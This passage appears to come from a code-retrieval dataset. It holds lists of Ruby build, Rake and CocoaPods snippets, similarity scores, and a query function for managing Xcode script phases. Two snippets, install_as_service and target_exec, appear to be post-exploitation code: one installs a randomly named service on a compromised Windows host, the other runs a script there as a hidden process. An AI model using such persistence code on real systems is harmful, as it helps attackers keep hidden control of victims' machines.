\"srun_wrapper_#{@rpm.precision_timestamp}\"\n cmd = shebang[\"cmd\"]\n target = File.basename(@params[\"SS_script_file\"])\n cmd = cmd.gsub(\"%%\", target) if shebang[\"cmd\"].end_with?(\"%%\")\n cmd = \"#{cmd} #{target}\" unless shebang[\"cmd\"].end_with?(\"%%\")\n if os_platform =~ /win/\n properties[\"RPM_CHANNEL_ROOT\"] = @rpm.dos_path(properties[\"RPM_CHANNEL_ROOT\"])\n properties[\"VL_CHANNEL_ROOT\"] = properties[\"RPM_CHANNEL_ROOT\"]\n wrapper = \"#{wrapper}.bat\"\n script = \"@echo off\\r\\necho |hostname > junk.txt\\r\\nset /p HOST=<junk.txt\\r\\nrm junk.txt\\r\\n\"\n script += \"echo ============== HOSTNAME: %HOST% ==============\\r\\n\"\n script += \"echo #{msg} \\r\\n\"\n properties.each{|k,v| script += \"set #{k}=#{v}\\r\\n\" }\n script += \"echo Execute the file\\r\\n\"\n script += \"cd %RPM_CHANNEL_ROOT%\\r\\n\"\n script += \"#{cmd}\\r\\n\"\n script += \"timeout /T 500\\r\\necho y | del #{target}\\r\\n\"\n else\n wrapper = \"#{wrapper}.sh\"\n script = \"echo \\\"============== HOSTNAME: `hostname` ==============\\\"\\n\"\n script += \"echo #{msg} \\n\"\n properties.each{|k,v| script += \"export #{k}=\\\"#{v}\\\"\\n\" }\n script += \"echo Execute the file\\n\"\n script += \"cd $RPM_CHANNEL_ROOT\\n\"\n script += \"#{cmd}\\n\" \n script += \"sleep 2\\nrm -f #{target}\" \n end\n fil = File.open(File.join(@output_dir, wrapper),\"w+\")\n fil.puts script\n fil.flush\n fil.close\n File.join(@output_dir, wrapper)\nend", "def build_intermediate_apk( target ) \n cp @intermediate_apk, target\n end", "def install_as_service(script_on_target)\n if is_system? || is_admin?\n print_status(\"Installing as service..\")\n nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8) + 8)\n description = datastore['ServiceDescription'] || Rex::Text.rand_text_alpha(8)\n print_status(\"Creating service #{nam}\")\n\n key = service_create(nam, :path=>\"cmd /c \\\"#{script_on_target}\\\"\",:display=>description)\n\n # check if service had been created\n if key != 0\n print_error(\"Service #{nam} creating failed.\")\n return\n end\n\n # if service is stopped, then start it.\n service_start(nam) if datastore['RUN_NOW'] and service_status(nam)[:state] == 1\n\n @clean_up_rc << \"execute -H -f sc -a \\\"delete #{nam}\\\"\\n\"\n else\n print_error(\"Insufficient privileges to create service\")\n end\n end", "def build!\n test_git!\n\n file_list = Dir.glob(\"#{@source}*\").sort # Pull the file list before creating the target directory\n\n setup_target\n\n add_runner\n\n file_list.each do |infile_name|\n rewrite_animation_frame infile_name\n create_commit infile_name\n end\n end", "def build_site_command(destination=nil, staging_url='')\n config = '_config.staging.yml'\n generate_staging_config(staging_url, config) unless staging_url.empty?\n\n args = []\n args.concat ['--destination', destination] unless destination.nil?\n\n if File.exists? config\n args.concat ['--config', \"_config.yml,#{config}\"]\n end\n\n ['bundle', 'exec', 'jekyll', 'build', *args]\nend", "def create_starting_script(sea_dir)\n c_path = Dir.pwd\n c_path.slice!(/test$/)\n run_analysis_path = c_path + \"/helpers/run_analysis.sh\" \n FileUtils.cd(sea_dir)\n `#{run_analysis_path} normal > ./go.sh`\n FileUtils.chmod(0755, \"./go.sh\")\n `sh ./go.sh`\nend", "def create_inject_test_target(project, test_dir, test_target_name, test_target_identifier)\n test_target = project.new(Xcodeproj::Project::PBXNativeTarget)\n test_target.name = test_target_name\n test_target.product_name = test_target_name\n test_target.build_configuration_list = Xcodeproj::Project::ProjectHelper.configuration_list project, :ios, \"9.0\"\n\n product_ref = project.products_group.new_reference(\"#{test_target_name}.xctest\", :built_products)\n product_ref.include_in_index = '0'\n product_ref.set_explicit_file_type\n test_target.product_reference = product_ref\n\n test_target_source_build_phase = project.new(Xcodeproj::Project::PBXSourcesBuildPhase)\n test_target.build_phases << test_target_source_build_phase\n test_target.build_phases << project.new(Xcodeproj::Project::PBXFrameworksBuildPhase)\n test_target.build_phases << project.new(Xcodeproj::Project::PBXResourcesBuildPhase)\n\n test_target.build_configuration_list.set_setting('INFOPLIST_FILE', File.join(test_dir, 'Info.plist'))\n test_target.build_configuration_list.set_setting('WRAPPER_EXTENSION', 'xctest')\n test_target.build_configuration_list.set_setting('TEST_HOST', '$(BUNDLE_LOADER)')\n test_target.build_configuration_list.set_setting('PRODUCT_BUNDLE_IDENTIFIER', test_target_identifier)\n test_target.build_configuration_list.set_setting('LD_RUNPATH_SEARCH_PATHS', [\n '$(inherited)',\n '@executable_path/Frameworks',\n '@loader_path/Frameworks',\n ])\n\n Dir.glob(\"#{test_dir.sub /\\/$/, ''}/*.{swift,m}\") do |test_file|\n file_ref = project.new_file test_file\n test_target_source_build_phase.add_file_reference file_ref\n end\n\n return test_target\nend", "def build_release\n build_dependency\n puts '### release build ###'\n `gulp release`\n puts '### release build done ###'\n post_build\nend", "def pre_build\n puts \"pre_build dir=#{`pwd`}\"\n rbvt = RUBY_V\n rbvm = RUBY_V[/^\\d+\\.\\d+/]\n # remove leftovers from previous rake.\n rm_rf \"#{TGT_DIR}/lib\"\n rm_rf \"#{TGT_DIR}/etc\"\n rm_rf \"#{TGT_DIR}/share\"\n rm_rf \"#{TGT_DIR}/conf.d\"\n mkdir_p \"#{TGT_DIR}/lib\"\n cp_r \"#{EXT_RUBY}/lib/ruby\", \"#{TGT_DIR}/lib\"\n # copy include files\n mkdir_p \"#{TGT_DIR}/lib/ruby/include/ruby-#{rbvt}\"\n cp_r \"#{EXT_RUBY}/include/ruby-#{rbvt}/\", \"#{TGT_DIR}/lib/ruby/include\"\n SOLOCS.each_value do |path|\n cp \"#{path}\", \"#{TGT_DIR}\"\n end\n # do some windows things\n mkdir_p \"#{TGT_DIR}/share/glib-2.0/schemas\"\n if APP['GTK'] == \"gtk+-2.0\" \n cp_r\"#{TGT_SYS_DIR}/share/glib-2.0/schemas/gschema.dtd\",\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n elsif APP['GTK'] == \"gtk+-3.0\"\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n else\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n end\n sh \"#{WINDRES} -I. shoes/appwin32.rc shoes/appwin32.o\"\n cp_r \"#{ShoesDeps}/etc\", TGT_DIR\n mkdir_p \"#{ShoesDeps}/lib\"\n if APP['GTK'] == \"gtk+-3.0\"\n cp_r \"#{ShoesDeps}/lib/gtk-3.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n else\n cp_r \"#{ShoesDeps}/lib/gtk-2.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n end\n bindir = \"#{ShoesDeps}/bin\"\n #cp_r \"#{bindir}/fc-cache.exe\", TGT_DIR\n cp_r \"#{bindir}/gtk-update-icon-cache.exe\", TGT_DIR\n # below for debugging purposes\n if ENV['GDB'] \n cp \"#{bindir}/fc-cat.exe\", TGT_DIR\n cp \"#{bindir}/fc-list.exe\", TGT_DIR\n cp \"#{bindir}/fc-match.exe\", TGT_DIR\n cp \"#{bindir}/fc-pattern.exe\", TGT_DIR\n cp \"#{bindir}/fc-query.exe\", TGT_DIR\n cp \"#{bindir}/fc-scan.exe\", TGT_DIR\n cp \"#{bindir}/fc-validate.exe\", TGT_DIR\n end\n # disable MS Theme\n if !ENABLE_MS_THEME \n Dir.chdir(\"#{TGT_DIR}/share/themes/MS-Windows/gtk-2.0/\") do\n mv 'gtkrc', 'disabled-gtkrc'\n end\n else\n # add our overrides to the MS-Windows theme\n cp \"platform/msw/gtkrc\", \"#{TGT_DIR}/etc/gtk-2.0/\"\n end\n end", "def transcode_script_header\n <<~HEREDOC\n #!/bin/sh\n\n # Check this file, make any changes, and save it. Execute it directly,\n # or execute it with the sh command if it's not executable.\n\n set -e\n\n HEREDOC\n end", "def postscript(ant, build_environment, product_directory, *args)\n if repo = config_source[MAVEN_REPO_CONFIG_KEY]\n maven = MavenDeploy.new(:repository_url => repo,\n :repository_id => config_source[MAVEN_REPO_ID_CONFIG_KEY],\n :snapshot => config_source[MAVEN_SNAPSHOT_CONFIG_KEY])\n args.each do |arg|\n next unless arg\n if arg['file']\n file = FilePath.new(product_directory, interpolate(arg['file'])).to_s\n else\n file = FilePath.new(arg['srcfile']).to_s\n end\n\n artifact = arg['artifact']\n version = arg[MAVEN_VERSION_CONFIG_KEY] || config_source[MAVEN_VERSION_CONFIG_KEY] ||\n config_source['version'] || build_environment.version\n maven.deploy_file(file, artifact, version, arg['pom'])\n end\n end\n end", "def invokeRake(directory, target)\n cmd = \"(cd #{directory}; rake #{target} BIN_DIR=../#{BIN_DIR} DEBUG_FLAG=#{DEBUG_FLAG})\"\n sh cmd\nend", "def script_as_executable(script)\n suffix = +\"\"\n suffix << \"-#{@project.permalink}\"\n suffix << \"-#{@deploy.id}\" if @deploy\n Tempfile.create(\"samson-terminal-executor#{suffix}-\") do |f|\n File.chmod(0o700, f.path) # making sure nobody can read it before we add content\n f.write script\n f.close\n command = f.path\n\n # osx has a 4s startup delay for each new executable, so we keep the executable stable\n if RbConfig::CONFIG['host_os'].include?('darwin')\n executor = File.expand_path(\"../../bin/script-executor\", __dir__)\n command = \"export FILE=#{f.path.shellescape} && #{executor.shellescape}\"\n end\n\n yield command\n end\n end", "def execute\n build_spec = Runner.make_build_spec(@source_provider, @build_spec_path)\n env = make_env(build_spec)\n\n container = nil\n begin\n container = Runner.make_container(@image, @source_provider, env)\n run_commands_on_container(container, build_spec)\n ensure\n unless container.nil?\n container.stop\n container.remove\n end\n end\n end", "def build_here\n cp_a File.join(root_dir, \"test\", \"setup\", \"#{name}.svn.gz\"), \".\"\n\n puts `gzip -f -d #{name}.svn.gz`\n raise unless $? == 0\n puts `svnadmin create #{name}`\n raise unless $? == 0\n puts `svnadmin load #{name} < #{name}.svn`\n raise unless $? == 0\n end", "def perform(log)\n begin\n # Export the environment data to the build host, if necesary\n env = @env % @ctx if @env\n @transport.export_env(env)\n\n # Add context data\n script = @script ** @ctx\n path = @path ** @ctx\n\n # Create an IO object containing the script and upload it to the\n # build host\n log.write(\"Uploading script to #{path}\\n\")\n\n io = StringIO.new(script)\n @transport.upload(io, path)\n\n # Execute the script\n log.write(\"Running script from #{path}...\\n\")\n success = @transport.exec(\"chmod +x #{path} && #{path}\", sudo: @sudo)\n rescue KeyError => ex\n # Interpolation failed\n log.write \"#{ex.message}\\n\"\n success = false\n end\n\n [success, @transport.exit_code]\n end", "def prepare_stubbed_script\n base = powershell_shell? ? \"bootstrap.ps1\" : \"bootstrap.sh\"\n config[:script] = File.join(sandbox_path, base)\n info(\"#{File.basename(config[:script])} not found \" \\\n \"so Kitchen will run a stubbed script. Is this intended?\")\n File.open(config[:script], \"wb\") do |file|\n if powershell_shell?\n file.write(%{Write-Host \"NO BOOTSTRAP SCRIPT PRESENT`n\"\\n})\n else\n file.write(%{#!/bin/sh\\necho \"NO BOOTSTRAP SCRIPT PRESENT\"\\n})\n end\n end\n end", "def after_file\n staged_root.join(\"after.sh\")\n end", "def create(url, tooling_name, tooling_url, toolchain)\n CCProcess.start(\"sdk-manage --target --install '#{@name}' '#{url}'\" +\n (tooling_name.to_s.empty? ? \"\" : \" --tooling '#{tooling_name}'\") +\n (tooling_url.to_s.empty? ? \"\" : \" --tooling-url '#{tooling_url}'\") +\n (toolchain.to_s.empty? ? \"\" : \" --toolchain '#{toolchain}'\"),\n (_ :adding_target) + \" #{@name}\", 60*60, 1)\n end", "def install_run(target)\n # TODO: move atomically\n FileUtils.mv run_dir, target\n logger.info \"#{run_dir} moved to #{target}\"\n\n File.chmod 0755, target\n logger.info \"Changed permissions for #{target} to 0755\"\n\n FileUtils.ln_s target, Conf.global_conf[:basecall_dir]\n logger.info \"Aliased #{target} to #{Conf.global_conf[:basecall_dir]}\"\n\n link = File.join(Conf.global_conf[:basecall_dir], self.run_name)\n fix_permissions(target, link)\n end", "def write_script name, contents\n script_file = \"#{self.scripts_path}/#{name}\"\n\n @shell.make_file script_file, contents,\n :flags => '--chmod=ugo=rwx' unless @shell.file? script_file\n end", "def target_exec(script_on_target)\n print_status(\"Executing script #{script_on_target}\")\n proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)\n print_good(\"Agent executed with PID #{proc.pid}\")\n @clean_up_rc << \"kill #{proc.pid}\\n\"\n proc.pid\n end", "def wrap bin_file, pythonpath\n bin_file = Pathname.new bin_file\n libexec_bin = Pathname.new libexec/'bin'\n libexec_bin.mkpath\n mv bin_file, libexec_bin\n bin_file.write <<-EOS.undent\n #!/bin/sh\n PYTHONPATH=\"#{pythonpath}:$PYTHONPATH\" \"#{libexec_bin}/#{bin_file.basename}\" \"$@\"\n EOS\n end", "def wrap bin_file, pythonpath\n bin_file = Pathname.new bin_file\n libexec_bin = Pathname.new libexec/'bin'\n libexec_bin.mkpath\n mv bin_file, libexec_bin\n bin_file.write <<-EOS.undent\n #!/bin/sh\n PYTHONPATH=\"#{pythonpath}:$PYTHONPATH\" \"#{libexec_bin}/#{bin_file.basename}\" \"$@\"\n EOS\n end", "def wrap bin_file, pythonpath\n bin_file = Pathname.new bin_file\n libexec_bin = Pathname.new libexec/'bin'\n libexec_bin.mkpath\n mv bin_file, libexec_bin\n bin_file.write <<-EOS.undent\n #!/bin/sh\n PYTHONPATH=\"#{pythonpath}:$PYTHONPATH\" \"#{libexec_bin}/#{bin_file.basename}\" \"$@\"\n EOS\n end", "def compile_scheme_scripts\n rm_f 'config/TRUST-PRECOMPILED'\n # We need to give a real path here, because \".\" will cause problems for\n # the engine. And it needs to be a Windows path, not a Cygwin path!\n # We need to be in command line mode, not runtime mode, so we will write\n # out our file count for our progress bar.\n run './engine/win32/Halyard', '-c', '(exit-script)', absolute_path(pwd)\n run 'touch', 'config/TRUST-PRECOMPILED'\nend", "def commit_new_cb_version\n shellout('git add metadata.rb')\n @gitrepo.commit_index(\"release v#{@target_version}\")\n end", "def buildup_template_file(basename, header, hash)\n type = hash[:type] || :script\n filename = filename_for(basename, type)\n\n if File.exist? filename\n exit 0 unless prompt(\"* '#{filename}' already exists, overwrite it? (y/n): \") =~ /^y$/i\n end\n File.open(filename, \"w\") {|file|\n file << \"#!/usr/bin/env ruby\"\n file << \"\\n\"\n file << \"# coding: #{get_encoding}\"\n file << \"\\n\" * 2\n file << get_commented_text(header)\n file << \"\\n\" * 2\n\n case type\n when :script\n file << TEMPLATE_SCRIPT\n when :test\n file << TEMPLATE_TEST_UNIT\n when :rspec\n file << TEMPLATE_RSPEC\n end\n\n file.chmod SCRIPT_MOD\n\n puts \"* Successfully generated: #{filename}\"\n }\n end", "def snap_get_script_phases_with_codegen_discovery_with_config_file_dir()\n return <<~EOS\n pushd \"$PODS_ROOT/../\" > /dev/null\n RCT_SCRIPT_POD_INSTALLATION_ROOT=$(pwd)\n popd >/dev/null\n\n export RCT_SCRIPT_RN_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT/../..\n export RCT_SCRIPT_APP_PATH=$RCT_SCRIPT_POD_INSTALLATION_ROOT/\n export RCT_SCRIPT_CONFIG_FILE_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT/node_modules\n export RCT_SCRIPT_OUTPUT_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT\n export RCT_SCRIPT_FABRIC_ENABLED=true\n export RCT_SCRIPT_TYPE=withCodegenDiscovery\n\n SCRIPT_PHASES_SCRIPT=\"$RCT_SCRIPT_RN_DIR/scripts/react_native_pods_utils/script_phases.sh\"\n WITH_ENVIRONMENT=\"$RCT_SCRIPT_RN_DIR/scripts/xcode/with-environment.sh\"\n /bin/sh -c \"$WITH_ENVIRONMENT $SCRIPT_PHASES_SCRIPT\"\n EOS\nend", "def install\n bin.install \"testscript\"\n end", "def build_site\n sh \"bundle exec jekyll build\"\nend", "def createTask(project, target)\n task \"#{project}.#{target}\" do\n print \"#######################################################\\n\"\n invokeRake project, target\n end\nend", "def createTask(project, target)\n task \"#{project}.#{target}\" do\n print \"#######################################################\\n\"\n invokeRake project, target\n end\nend", "def build_source(source, target, echo, custom)\n verbose(VERBOSE)\n flags = \"\"\n cc = \"\"\n own_include = \"\"\n\n if LANGUAGE == \"c\" then\n flags = CFLAGS\n cc = CC\n else\n flags = CXXFLAGS\n cc = CXX\n end\n\n path = File.dirname(target)\n if not File.exists? path then\n cmd \"mkdir -p #{path}\"\n end\n\n if echo\n if ENV['silent'] != \"true\" and DRYRUN != true then\n msg \"src #{C_NORMAL}#{source}\"\n end\n end\n\n if defined? ADD_OWN_INCLUDE and ADD_OWN_INCLUDE == true then\n own_include = \"-Iinclude\"\n end\n\n cc_command = \"#{COMPILER} -c #{flags.join(\" \")} #{custom} #{DEFINE.map {|d| \"-D\" + d}.join(\" \")} #{own_include} #{INCLUDE.map {|i| \"-I\" + corto_replace(i)}.join(\" \")} #{source} -o #{target}\"\n begin\n cmd cc_command\n rescue\n STDERR.puts \"\\033[1;31mcorto:\\033[0;49mcorto: command failed: #{cc_command}\"\n abort\n end\nend", "def postscript(ant, build_environment, product_directory, *args)\n return unless config_source[MAVEN_REPO_CONFIG_KEY]\n\n args.each do |arg|\n FilePath.new(arg['dest']).ensure_directory\n ant.jar(:jarfile => \"#{arg['dest']}/#{arg['artifact']}.jar\") do\n ant.fileset(:dir => @basedir.to_s, :includes => arg['includes'], :excludes => arg['excludes'])\n end\n end\n\n\n # package terracotaa\n end", "def make(args)\n # Maybe we should write an \"uncrustify\" fastlane action?...\n Dir.chdir '..' do\n sh 'make ' + args\n end\nend", "def make(args)\n # Maybe we should write an \"uncrustify\" fastlane action?...\n Dir.chdir '..' do\n sh 'make ' + args\n end\nend", "def wrap_xcodebuild\n require 'fileutils'\n @wrapped_xcodebuild_path ||= File.join(Gym::ROOT, \"lib/assets/wrap_xcodebuild/xcbuild-safe.sh\")\n end", "def post_build_step(&block)\n\t\t\t@project.post_build_steps << [block, Dir.pwd]\n\t\tend", "def execute(\n target_file_path:,\n rewrite: false\n )\n source_code = File.read(target_file_path)\n new_source_code = process(source_code)\n\n if rewrite\n File.write(target_file_path, new_source_code)\n else\n puts new_source_code\n end\n\n nil\n end", "def build(rakeTask)\n\t\tfilePrereqs = filePrereqs() #remove internal build-system stuff\n\t\tunless FileUtils.uptodate?(target(), filePrereqs) #the check rake does always fails because it includes a non-file prereq task\n\t\t\tstaticLibMaintainer().addOrUpdate(:lib => target(), :objs => filePrereqs)\n\t\t\tstaticLibMaintainer().index(target())\n\t\tend\n\tend", "def integrate!\n UI.section(integration_message) do\n target_installation_result.non_library_specs_by_native_target.each do |native_target, spec|\n add_embed_frameworks_script_phase(native_target, spec)\n add_copy_resources_script_phase(native_target, spec)\n add_on_demand_resources(native_target, spec) if spec.app_specification?\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(spec), native_target)\n end\n add_copy_dsyms_script_phase(target_installation_result.native_target)\n add_copy_xcframeworks_script_phase(target_installation_result.native_target)\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(target.library_specs), target_installation_result.native_target)\n end\n end", "def stage!\n build_to self[:staging_path]\n end", "def pre_process_action(action_path, payload_path = nil)\n lb = line_break\n env = @platform_info[\"environment_set\"]\n cmt = @platform_info[\"comment_char\"]\n language = @platform_info[\"language\"]\n shebang = \"\"\n content = File.open(action_path).read\n content = ERB.new(content).result(binding)\n items = content.scan(/^\\s*\\#\\!.*/)\n shebang = items[0] if items.size > 0\n if payload_path\n @transfer_properties[\"RPM_PAYLOAD\"] = payload_path\n end\n env_header = \"#{cmt} Environment vars to define#{lb}\"\n @standard_properties.each{|prop| @transfer_properties[prop] = @p.get(prop) }\n @transfer_properties.each do |key,val|\n env_header += \"#{env}#{key}=#{val}#{lb}\" if language == \"batch\"\n env_header += \"#{env}#{key}=\\\"#{val}\\\"#{lb}\" unless language == \"batch\"\n end\n file_content = \"#{shebang}#{lb}#{env_header}#{lb}#{content}\"\n fil = File.open(action_path,\"w+\")\n fil.puts file_content\n fil.flush\n fil.close\n file_content\n end", "def pre_build\n puts \"pre_build dir=#{`pwd`}\"\n rbvt = RUBY_V\n rbvm = RUBY_V[/^\\d+\\.\\d+/]\n mkdir_p \"#{TGT_DIR}/lib\"\n # clean out leftovers from last build\n rm_f \"#{TGT_DIR}/libruby.so\" if File.exist? \"#{TGT_DIR}/libruby.so\"\n rm_f \"#{TGT_DIR}/libruby.so.#{rbvm}\" if File.exist? \"#{TGT_DIR}/libruby.so.#{rbvm}\"\n rm_f \"#{TGT_DIR}/libruby.so.#{rbvt}\" if File.exist? \"#{TGT_DIR}/libruby.so.#{rbvt}\"\n cp_r \"#{EXT_RUBY}/lib/ruby\", \"#{TGT_DIR}/lib\"\n # copy and link libruby.so - pick the right one to \n # cp \"#{EXT_RUBY}/lib/libruby.so.#{RUBY_V}\", \"#{TGT_DIR}\"\n cp \"#{EXT_RUBY}/lib/libruby.so.#{rbvm}\", \"#{TGT_DIR}\"\n # copy include files - it might help build gems\n mkdir_p \"#{TGT_DIR}/lib/ruby/include/ruby-#{rbvt}\"\n cp_r \"#{EXT_RUBY}/include/ruby-#{rbvt}/\", \"#{TGT_DIR}/lib/ruby/include\"\n # can't figure out ln -s? push pwd, cd, ln, pop\n #cdir = pwd\n #cd TGT_DIR\n chdir TGT_DIR do\n ln_s \"libruby.so.#{rbvm}\", \"libruby.so\"\n #ln_s \"libruby.so.#{RUBY_V}\", \"libruby.so.#{::RUBY_V[/^\\d+\\.\\d+/]}\"\n end\n SOLOCS.each_value do |path|\n cp \"#{path}\", \"#{TGT_DIR}\"\n end\n end", "def release\n @start_script[:run] = start_run_script\n end", "def globalSetup()\n # Build\n run(\"cd '#{Embedding::CODE_PATH}' && make clean && make\")\nend", "def script(task_name, argument=nil)\n command = \"script/#{task_name}\"\n command << \" #{argument}\" if argument\n system(command)\n end", "def shell_script(filename, env=[], args=[])\n shell_script_crafted = \"/bin/bash -c \\\"#{env.join ' '} #{filename} #{args.join ' '} 2>/dev/null\\\"\"\n shell_script_crafted\nend", "def util_custom_configure(target)\n <<-EO_MKRF\n File.open(\"Rakefile\", \"w\") do |f|\n f.puts <<-EOF\n task :default do\n lib_dir = ENV[\"RUBYARCHDIR\"] || ENV[\"RUBYLIBDIR\"]\n touch File.join(lib_dir, #{target.inspect})\n end\n EOF\n end\n EO_MKRF\n end" ]
[ "0.71108156", "0.70612246", "0.68617845", "0.6617549", "0.6260934", "0.61934084", "0.61624455", "0.61587083", "0.60037637", "0.5873172", "0.5734559", "0.56950223", "0.5687578", "0.564136", "0.5554124", "0.5553439", "0.5534892", "0.55276144", "0.55210054", "0.5406049", "0.5378313", "0.53531826", "0.53199476", "0.5254972", "0.5228278", "0.52131003", "0.51928294", "0.51658535", "0.5165218", "0.51600134", "0.5156331", "0.51288694", "0.51001734", "0.50938284", "0.50882745", "0.5086809", "0.5083877", "0.504874", "0.50312966", "0.5027889", "0.50100636", "0.49811548", "0.49648026", "0.49620137", "0.49583083", "0.49393803", "0.4930534", "0.49291202", "0.49232033", "0.48982954", "0.48832774", "0.48820305", "0.48699114", "0.4856695", "0.48425603", "0.4826375", "0.4826147", "0.4822094", "0.4815737", "0.4809549", "0.4804094", "0.47989255", "0.47906843", "0.47858024", "0.47796854", "0.47794494", "0.4769135", "0.47603893", "0.47552451", "0.47317812", "0.47307822", "0.47219533", "0.47059643", "0.47059643", "0.47059643", "0.46940655", "0.46843314", "0.46836418", "0.46830532", "0.46760008", "0.46749282", "0.4664324", "0.4664324", "0.46617475", "0.46592802", "0.46578908", "0.46578908", "0.46570784", "0.46514264", "0.46474114", "0.46467283", "0.4645915", "0.4631337", "0.4627057", "0.4626325", "0.46250585", "0.46151254", "0.46116853", "0.4610086", "0.46085298" ]
0.7815728
0
Updates all target script phases for the current target, including creating or updating, deleting and reordering.
def create_or_update_user_script_phases(script_phases, native_target) script_phase_names = script_phases.map { |k| k[:name] } # Delete script phases no longer present in the target. native_target_script_phases = native_target.shell_script_build_phases.select do |bp| !bp.name.nil? && bp.name.start_with?(USER_BUILD_PHASE_PREFIX) end native_target_script_phases.each do |script_phase| script_phase_name_without_prefix = script_phase.name.sub(USER_BUILD_PHASE_PREFIX, '') unless script_phase_names.include?(script_phase_name_without_prefix) native_target.build_phases.delete(script_phase) end end # Create or update the ones that are expected to be. script_phases.each do |script_phase| name_with_prefix = USER_BUILD_PHASE_PREFIX + script_phase[:name] phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, name_with_prefix, nil) phase.shell_script = script_phase[:script] phase.shell_path = script_phase[:shell_path] || '/bin/sh' phase.input_paths = script_phase[:input_files] phase.output_paths = script_phase[:output_files] phase.input_file_list_paths = script_phase[:input_file_lists] phase.output_file_list_paths = script_phase[:output_file_lists] phase.dependency_file = script_phase[:dependency_file] # At least with Xcode 10 `showEnvVarsInLog` is *NOT* set to any value even if it's checked and it only # gets set to '0' if the user has explicitly disabled this. if (show_env_vars_in_log = script_phase.fetch(:show_env_vars_in_log, '1')) == '0' phase.show_env_vars_in_log = show_env_vars_in_log end execution_position = script_phase[:execution_position] reorder_script_phase(native_target, phase, execution_position) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def script_phase(options)\n raise Informative, 'Script phases can only be added within target definitions.' if current_target_definition.root?\n raise Informative, 'Script phases cannot be added to abstract targets.' if current_target_definition.abstract?\n current_target_definition.store_script_phase(options)\n end", "def add_user_script_phases\n native_targets.each do |native_target|\n TargetIntegrator.create_or_update_user_script_phases(target.target_definition.script_phases, native_target)\n end\n end", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + EMBED_FRAMEWORK_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def update_targets(targets)\n default_transit_key = options.fetch(:sanctum).fetch(:transit_key, nil)\n default_secrets_version = options.fetch(:sanctum).fetch(:secrets_version)\n\n # TODO: make this better\n # remove_trailing_slash needs to run first, as some of the other logic in other methods\n # rely on it\n targets = remove_trailing_slash(targets)\n targets = set_secrets_version(targets, default_secrets_version)\n targets = set_transit_key(targets, default_transit_key)\n targets = update_prefix(targets)\n targets\n end", "def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n reorder_script_phase(native_target, phase, :before_compile)\n end", "def warn_for_installed_script_phases\n pods_to_install = sandbox_state.added | sandbox_state.changed\n pod_targets.group_by(&:pod_name).each do |name, pod_targets|\n if pods_to_install.include?(name) && !sandbox.local?(name)\n script_phase_count = pod_targets.inject(0) { |sum, target| sum + target.script_phases.count }\n unless script_phase_count.zero?\n UI.warn \"#{name} has added #{script_phase_count} #{'script phase'.pluralize(script_phase_count)}. \" \\\n 'Please inspect before executing a build. See 